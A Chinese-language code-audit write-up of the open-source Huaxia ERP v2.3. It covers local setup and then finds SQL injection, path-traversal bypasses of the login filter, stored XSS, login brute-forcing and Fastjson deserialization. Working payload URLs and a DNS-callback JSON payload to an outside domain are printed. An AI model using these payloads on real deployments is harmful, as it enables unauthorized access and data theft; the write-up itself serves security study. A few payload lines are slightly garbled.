华夏-ERPv2.3搭建&&审计
华夏-ERPv2.3搭建
JDK:推荐 JDK 1.8 或 11(jkd1.8==jdk8)
Maven:3.6+
Node.js + npm:前端构建需要,推荐 Node.js 14.x/16.x
数据库:MySQL 5.7 或 8.0(推荐 5.7)
IDE:IntelliJ IDEA
使用IDEA
下载:下载地址(v2.3版本):https://github.com/jishenghua/jshERP/releases
导入到IDEA(记得配置java环境为1.8)(可以自己下载,也可以使用IDEA自带的)

配置数据库(可以先使用phpstudy创建数据库,导入文件
jsh_erp.sql,再使用Navicat Premium 17连接数据库)


使用 IDEA 打开项目,执行
mvn clean install,然后运行JshErpApplication.java主类即可启动。
Maven 的命令,用来:
clean:清理掉之前编译的文件install:编译 + 打包项目,并把 jar/war 包安装到本地 Maven 仓库
先clean ,再install
JshErpApplication.java启动
目录结构
1
2
3
4
5
6
7
8jshERP-boot └─ src └─ main └─ java └─ com └─ jsh └─ erp └─ JshErpApplication.java ← 启动类路径
1
jshERP-boot/src/main/java/com/jsh/erp/JshErpApplication.java
出现

说明启动成功(显示url,账号密码就可以自行测试啦)
华夏-ERPv2.3审计
介绍
华夏ERP-2.3 是一款面向中小企业的开源 ERP 系统,基于 SpringBoot + MyBatis 构建,前端采用 jQuery、EasyUI 和 AdminLTE。系统功能涵盖多个模块,能够满足中小企业日常经营管理需求。
该版本特点是 开源、免费、易部署,支持多用户权限控制,适合学习、二次开发和中小企业信息化使用。但由于 v2.3 版本依赖库较旧,存在一定的 安全漏洞(如 SQL 注入、Fastjson 反序列化、XSS 等),实际部署时需注意升级和安全加固。
前期准备
先大致浏览下整个项目的大致结构和配置信息
pom.xml:
该文件用于管理:源代码、配置文件、开发者的信息和角色、问题追踪系统、组织信息、项目授权、项目的url、项目的依赖关系等等。
使用了1.2.55 版本的fastjson,具备fastjson 反序列化的版本要求
(1.2.55~1.2.68以下存在FastJson 绕过导致反序列化漏洞)
1
2
3
4
5<dependency> <groupId>com.alibaba</groupId> <artifactId>fastjson</artifactId> <version>1.2.55</version> </dependency>了2.10.0 版本的log4j(emmmmm 但是这个版本是不存在漏洞的)
1
2
3
4
5
6<dependency> <groupId>org.apache.logging.log4j</groupId> <artifactId>log4j-to-slf4j</artifactId> <version>2.10.0</version> <scope>compile</scope> </dependency>数据库使用了MyBatis
1
2
3
4
5<dependency> <groupId>com.gitee.starblues</groupId> <artifactId>springboot-plugin-framework-extension-mybatis</artifactId> <version>2.2.1-RELEASE</version> </dependency>
filter 配置:
里面存放的应该是项目对应的拦截器过滤器
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
package com.jsh.erp.filter;
import org.springframework.util.StringUtils;
import javax.servlet.*;
import javax.servlet.annotation.WebFilter;
import javax.servlet.annotation.WebInitParam;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;
import java.util.ArrayList;
import java.util.List;
import java.util.regex.Matcher;
import java.util.regex.Pattern;
@WebFilter(filterName = "LogCostFilter", urlPatterns = {"/*"},
initParams = {@WebInitParam(name = "ignoredUrl", value = ".css#.js#.jpg#.png#.gif#.ico"),
@WebInitParam(name = "filterPath",
value = "/user/login#/user/registerUser#/v2/api-docs")})
public class LogCostFilter implements Filter {
private static final String FILTER_PATH = "filterPath";
private static final String IGNORED_PATH = "ignoredUrl";
private static final List<String> ignoredList = new ArrayList<>();
private String[] allowUrls;
private String[] ignoredUrls;
@Override
public void init(FilterConfig filterConfig) throws ServletException {
String filterPath = filterConfig.getInitParameter(FILTER_PATH);
if (!StringUtils.isEmpty(filterPath)) {
allowUrls = filterPath.contains("#") ? filterPath.split("#") : new String[]{filterPath};
}
String ignoredPath = filterConfig.getInitParameter(IGNORED_PATH);
if (!StringUtils.isEmpty(ignoredPath)) {
ignoredUrls = ignoredPath.contains("#") ? ignoredPath.split("#") : new String[]{ignoredPath};
for (String ignoredUrl : ignoredUrls) {
ignoredList.add(ignoredUrl);
}
}
}
@Override
public void doFilter(ServletRequest request, ServletResponse response,
FilterChain chain) throws IOException, ServletException {
HttpServletRequest servletRequest = (HttpServletRequest) request;
HttpServletResponse servletResponse = (HttpServletResponse) response;
String requestUrl = servletRequest.getRequestURI();
//具体,比如:处理若用户未登录,则跳转到登录页
Object userInfo = servletRequest.getSession().getAttribute("user");
if(userInfo!=null) { //如果已登录,不阻止
chain.doFilter(request, response);
return;
}
if (requestUrl != null && (requestUrl.contains("/doc.html") ||
requestUrl.contains("/register.html") || requestUrl.contains("/login.html"))) {
chain.doFilter(request, response);
return;
}
if (verify(ignoredList, requestUrl)) {
chain.doFilter(servletRequest, response);
return;
}
if (null != allowUrls && allowUrls.length > 0) {
for (String url : allowUrls) {
if (requestUrl.startsWith(url)) {
chain.doFilter(request, response);
return;
}
}
}
servletResponse.sendRedirect("/login.html");
}
private static String regexPrefix = "^.*";
private static String regexSuffix = ".*$";
private static boolean verify(List<String> ignoredList, String url) {
for (String regex : ignoredList) {
Pattern pattern = Pattern.compile(regexPrefix + regex + regexSuffix);
Matcher matcher = pattern.matcher(url);
if (matcher.matches()) {
return true;
}
}
return false;
}
@Override
public void destroy() {
}
}我们需要去到
doFilter()方法中去看从session中提取user 参数的值,如果不为null,则跳过认证,这里是没有问题的
1
2
3
4
5
6//具体,比如:处理若用户未登录,则跳转到登录页 Object userInfo = servletRequest.getSession().getAttribute("user"); if(userInfo!=null) { //如果已登录,不阻止 chain.doFilter(request, response); return; }如果访问的url 中包含
/doc.html、/register.html、/login.html,这些字符串,则不进行认证(如果url 长这样呢:
/doc.html/../home.html,怕会出现未授权访问)(不严谨!!!)1
2
3
4
5if (requestUrl != null && (requestUrl.contains("/doc.html") || requestUrl.contains("/register.html") || requestUrl.contains("/login.html"))) { chain.doFilter(request, response); // 请求以上URL,均不阻止 return; }访问
.css、.js、.jpg、.png、.gif、.ico、/user/login、/user/registerUser、/v2/api-docs这些内容的时候也不需要认证(
.css/../home.html,同样存在未授权)(也不严谨!!!)1
2
3
4
5
6
7
8
9
10
11
12if (verify(ignoredList, requestUrl)) { chain.doFilter(servletRequest, response); return; } if (null != allowUrls && allowUrls.length > 0) { for (String url : allowUrls) { if (requestUrl.startsWith(url)) { chain.doFilter(request, response); return; } } }最后如果用户没有权限,则跳转到登录页
1
servletResponse.sendRedirect("/login.html");
总结:
在代码中存在四种判断方式:
- 如果已经登录,直接放行
- 看URL中是否包含特定路径,包含则放行
- 使用
verify()方法验证URL,验证通过则放行 - 使用以特定字符开头的URL路径则放行
sql注入
检查到了Mybatis组件
所以搜索关键字为:
${,文件尽量查找跟用户有关的操作,并且查询的是**.xml文件**
jshERP-2.3\src\main\resources\mapper_xml\UnitMapperEx.xml
1
2
3
4
5
6
7
8
9
10
11
12
<select id="selectByConditionUnit" parameterType="com.jsh.erp.datasource.entities.UnitExample" resultMap="com.jsh.erp.datasource.mappers.UnitMapper.BaseResultMap">
select *
FROM jsh_unit
where 1=1
<if test="name != null">
and name like '%${name}%'
</if>
and ifnull(delete_flag,'0') !='1'
<if test="offset != null and rows != null">
limit #{offset},#{rows}
</if>
</select>回溯搜索
selectByConditionUnit,只有一个接口和一个用法jshERP-2.3\src\main\java\com\jsh\erp\service\unit\UnitService.java
1
2
3
4
5
6
7
8
9public List<Unit> select(String name, int offset, int rows)throws Exception {//用法 List<Unit> list=null; try{ list=unitMapperEx.selectByConditionUnit(name, offset, rows);//接口 }catch(Exception e){ JshException.readFail(logger, e); } return list; }寻找参数变量(注意:有些
name发生转化,由传递过来的map 控制name 的值)先到select
jshERP-2.3\src\main\java\com\jsh\erp\service\unit\UnitService.java
由传递过来的map 控制name 的值
1
2
3
4
5
6private List<?> getUnitList(Map<String, String> map)throws Exception { String search = map.get(Constants.SEARCH); // Constants.SEARCH 就是search String name = StringUtil.getInfo(search, "name");// 通过StringUtil.getInfo 获取name值 String order = QueryUtils.order(map); return unitService.select(name, QueryUtils.offset(map), QueryUtils.rows(map)); // QueryUtils.offset(map) 需要我们传入的其他参数有具体的值,且是数字 }此处查看name值获取过程,到
getInfo1
2
3
4
5
6
7
8
9
10
11public static String getInfo(String search, String key){ String value = ""; if(search!=null) { JSONObject obj = JSONObject.parseObject(search); // 解析成json对象(json反序列化) value = obj.getString(key); // 然后从解析的json对象中拿出来name 的属性值 if(value.equals("")) { value = null; } } return value; }就是说,我们传入的search 参数内容应该是一个json 内容
到
getUnitList1
2
3
4@Override public List<?> select(Map<String, String> map)throws Exception { return getUnitList(map); }再到
select到这里,变成了两个参数控制
1
2
3
4
5
6public List<?> select(String apiName, Map<String, String> parameterMap)throws Exception { if (StringUtil.isNotEmpty(apiName)) { return container.getCommonQuery(apiName).select(parameterMap); } return new ArrayList<Object>(); }
这个select 在往上找,就来到了最后的controller 层
jshERP-2.3\src\main\java\com\jsh\erp\controller\ResourceController.java

查找apiName是什么??
寻找apiName从哪里传入,输入get(apiName)查找
jshERP-2.3\src\main\java\com\jsh\erp\service\CommonQueryManager.java

说明:
apiName的值会从configComponentMap这个变量中获取,而这个变量在init函数中被put 压入数据。具体的内容是:service下每个文件夹对应一个apiName
而我们一开始回溯搜索的
selectByConditionUnit实现方法就是在service\unit\UnitService.java,所以这里我们需要的apiName 的值就是unit而且需要传入参数有三个:
pageSize、currentPage、search整理:
两个点:
第一个传入json:
1
2payload: http://127.0.0.1:8080/unit/list?search=/unit/list?search=%7B%22name%22%3A%22jsh%27%20or%201%3D1--%2B%22%7D&pageSize=10¤tPage=1&pageSize=10¤tPage=1第二个点利用apiname——>unit:
1
2payload: http://127.0.0.1:8080/unit/list?pageSize=¤tPage=&search=jsh' and sleep(3)--+
应该是先走第一个
所以payload是传入json的内个

权限校验
包含特定路径可绕过过滤器
当URL中包含
/doc.html、/register.html、/login.html则放行数据包1
2
3
4if (requestUrl != null && (requestUrl.contains("/doc.html") || requestUrl.contains("/register.html") || requestUrl.contains("/login.html"))) { chain.doFilter(request, response); return;构建路径
/doc.html/..再加上正常访问的路径,/doc.html/..会返回根路径,再加上正常访问路径即可正常访问各功能点正常登录返回两个数据包(先返回一个post,提交之后会返回一个get)

删除登录后的Cookie中的session信息的数据包,返回302重定向代码,返回login.html

加入越权Payload后的数据包,获取信息

verify()验证可绕过过滤器
一开始定义了要忽略的文件名后缀,包括:
.css、.js、.jpg、.png、.gif、.ico文件,之后传递到初始化方法中,生成ignoredList列表1
2
3
4@WebFilter(filterName = "LogCostFilter", urlPatterns = {"/*"}, initParams = {@WebInitParam(name = "ignoredUrl", value = ".css#.js#.jpg#.png#.gif#.ico"), @WebInitParam(name = "filterPath", value = "/user/login#/user/registerUser#/v2/api-docs")})使用
verify()方法进行验证,根据代码判断,当访问的文件后缀在ignoredList中,就放行数据包
构建poc
1
/a.css/..`,后面再加上正常访问的路径即可同上直接构建payload越权获取用户信息

使用特定路径前缀可绕过过滤器
一开始定义了些允许访问的路径前缀:
/user/login、/user/registerUser、/v2/api-docs,初始化方法中把运行访问路径生成alowUrls列表1
2
3
4@WebFilter(filterName = "LogCostFilter", urlPatterns = {"/*"}, initParams = {@WebInitParam(name = "ignoredUrl", value = ".css#.js#.jpg#.png#.gif#.ico"), @WebInitParam(name = "filterPath", value = "/user/login#/user/registerUser#/v2/api-docs")})对URL进行判断,若使用的路径开头在
allowUrls列表中,则放行数据包1
2
3
4
5
6
7
8
9
10if (null != allowUrls && allowUrls.length > 0) { for (String url : allowUrls) { if (requestUrl.startsWith(url)) { chain.doFilter(request, response); return; } } } servletResponse.sendRedirect("/login.html"); }判断方法中使用startsWith()方法进行验证,可以使用目录穿越的方式进行绕过,构建Payload路径:
/user/login/../..,后面再添加正常访问路径即可同上直接在数据包搞payload

存储型XSS
在前端html 目录中搜索有关
/add增加的功能页
有一个增加用户的功能点,先增加一个用户

然后修改用户名

成功弹窗

但有一个前提是拥有登陆后台的高权限
密码破解
查看user相关代码,发现登录功能没有对登录次数进行限制,也没有验证码验证
\jshERP-2.3\src\main\java\com\jsh\erp\datasource\entities\User.java
这是用户登录的代码jshERP-2.3\src\main\java\com\jsh\erp\controller\UserController.java
可以进行暴力用户名、密码测试
查看登录数据包
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16POST /user/login HTTP/1.1 Host: 192.168.137.242:8080 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0 Accept: application/json, text/javascript, */*; q=0.01 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate, br Content-Type: application/x-www-form-urlencoded; charset=UTF-8 X-Requested-With: XMLHttpRequest Content-Length: 55 Origin: http://192.168.137.242:8080 Connection: keep-alive Referer: http://192.168.137.242:8080/login.html Cookie: Hm_lvt_1cd9bcbaae133f03a6eb19da6579aaba=1755958707,1755966272,1755966567,1756050714; JSESSIONID=3BC51C24F7937AAE005C1EEF190EBC9E; Hm_lpvt_1cd9bcbaae133f03a6eb19da6579aaba=1756053268; HMACCOUNT=BDACAAE04DCF04BE Priority: u=0 loginName=jsh&password=e10adc3949ba59abbe56e057f20f883e//这是账号密码可以看到密码加密了(根据密码加密格式可以猜测为md5)(也可以去跑ai)

而且在userservice也发现MD5加密的注释

所以可以使用bp的插件,根据字典进行爆破(记得勾选MD5的加密哈)
这里我就偷个小懒,不具体演示了哈
Fastjson反序列化漏洞
扫描
pom.xml文件时发现存在1.2.55 版本Fastjson的,上面说过,这个版本是存在反序列化漏洞的版本直接搜索
parseObject(关键字 ; 或者换一种思路,直接寻找上面 SQL 注入的一样的search注意:这里反序列化的地方很多,我们要去找的地方一定是要输入可控的。

定位到
StringUtil类文件,其中的静态方法getInfo调用了JSONObject.parseObject()方法,传递的参数是search1
2
3
4
5
6
7
8
9
10
11public static String getInfo(String search, String key){ String value = ""; if(search!=null) { JSONObject obj = JSONObject.parseObject(search); value = obj.getString(key); if(value.equals("")) { value = null; } } return value; }查看
getInfo方法的使用情况,发现之前查看过的PersonComponent类(巧了,就是之前审计的sql的代码)
查看
PersonComponent类文件,getPersonList()方法调用了StringUtil.getInfo()方法,参数也是search中获取1
2
3
4
5
6
7private List<?> getPersonList(Map<String, String> map) throws Exception{ String search = map.get(Constants.SEARCH); String name = StringUtil.getInfo(search, "name"); String type = StringUtil.getInfo(search, "type"); String order = QueryUtils.order(map); return personService.select(name, type, QueryUtils.offset(map), QueryUtils.rows(map)); }后面就和上面SQL注入时分析的一样,漏洞点路径就应该是
/person/list?search=和之前一样
先搭建在公⽹VPS上搭建FakeMysql服务器
发送数据包后,我们的smartBi服务器尝试连接fakeMysql服务器,通过反序列化即可成功执⾏命令

不多废话,直接展示payload:
1
{"@type":"java.net.Inet4Address","val":"3.b3925eed5a.ipv6.1433.eu.org"}
ok,完事。